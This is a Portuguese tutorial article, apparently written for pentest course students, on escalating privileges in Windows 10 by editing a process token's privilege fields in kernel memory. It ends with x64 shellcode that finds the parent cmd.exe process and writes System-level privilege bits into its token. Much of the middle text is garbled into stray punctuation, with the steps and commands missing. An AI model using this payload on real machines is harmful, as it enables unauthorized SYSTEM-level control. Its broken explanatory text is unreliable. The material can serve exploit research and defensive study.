O especialista em OTUS - Alexander Kolesnikov compartilhou conosco um artigo útil, que escreveu especificamente para alunos do curso "Pentest. Prática de Teste de Penetração" .
Nós, por sua vez, convidamos todos a participarem de uma aula de demonstração gratuita sobre o tema: "Coleta de informações do Windows AD, escalonamento de privilégios. Explorações e vulnerabilidades dos últimos 5 anos."
O artigo anterior discutiu como os exploits usam a técnica de cópia de token para escalar privilégios. Neste artigo, tentaremos considerar outra técnica para modificar tokens e também tentar descobrir como os privilégios colocados no Token Primário são definidos.
Todos os exemplos no artigo são apenas para fins informativos, e se você quiser repetir os experimentos, use uma máquina virtual, pois algumas das ações podem danificar sua máquina de trabalho. Todos os experimentos são realizados apenas para fins de pesquisa.
Configuração da bancada de teste
Para experimentos, algumas máquinas virtuais que funcionam em uma rede NAT são adequadas. Dois porque não há outra maneira de depurar o kernel do sistema operacional. E na rede NAT, para que haja símbolos de depuração, fica mais fácil e rápido buscar dados sem código-fonte com eles. A configuração do depurador está disponível na Internet, mas ainda abaixo haverá algumas linhas, pois é feito para o sistema operacional Windows 10 1909.
1. Instale o depurador. Para o sistema operacional Windows, existe apenas o Windbg Preview, instale-o:
2. Transferimos o sistema operacional de destino para o modo de depuração:
Reinicializamos o sistema. E abra a segunda máquina, que conterá o depurador:
Depois de reiniciar o sistema:
Windbg Preview , . . .
Token
, , , Primary Token. , Se* . , , :
SeAssignPrimaryToken
SeAudit
SeBackup
SeChangeNotify
SeCreateToken
SeDebug
SeLoadDriver
SeLockMemory
SeManageVolume
SeRestore
SeSecurity
SeTakeOwnership
, , . , “Security Descriptor”:
System. — dx @$cursession.Processes[4].KernelObject.Token
EXFAST_REF , , :
System:
, “Security Descriptor” , . :
, , :
- , BSOD. Windows , Windows 10 1607. , BSOD, “Security Descriptor” . , :
BSOD? , . , :
1. , :
2. cmd.exe
:
3. . :
, . - , - Integrity Levels , .
? . , : 0x1
BSOD , , . , , . , - — 0x100000
.
:
SeDebugPrivilege - 0x100000
SeAuditPrivilege - 0x200000
SeSystemEnvironmentPrivilege - 0x400000
SeCreatePermanentPrivilege - 0x010000
SeSystemtimePrivilege - 0x001000
SeSecurityPrivilege - 0x000100
SeLockMemoryPrivilege - 0x000010
, 6 . , , shellcode, , , . SEPTOKEN_PRIVILEGES _SEPTOKENPRIVILEGES+0x8.
— System , , .
netstat -ab
, . ? . , Windows , System , :
, , payload :
[BITS 64]
start:
mov r9, [gs:0x188] ;KPROCESS/currentThread
mov r9, [r9+0x220] ;EPROCESS KTHREAD
mov r8, [r9+0x3e8] ;InheritedFromUniqueProcessId (cmd.exe PID)
mov rax, r9
loop1:
mov rax, [rax + 0x2f0]
sub rax, 0x2f0 ;KPROCESS
cmp [rax + 0x2e8],r8 ; ProcessId
jne loop1
mov rcx, rax ; PID EPROCESS
add rcx, 0x360
mov rax, [rcx]
and rax, 0xFFFFFFFFFFFFFFF0
mov r8, 0x1e73deff20 ;System
mov [rax+0x48],r8 ;
ret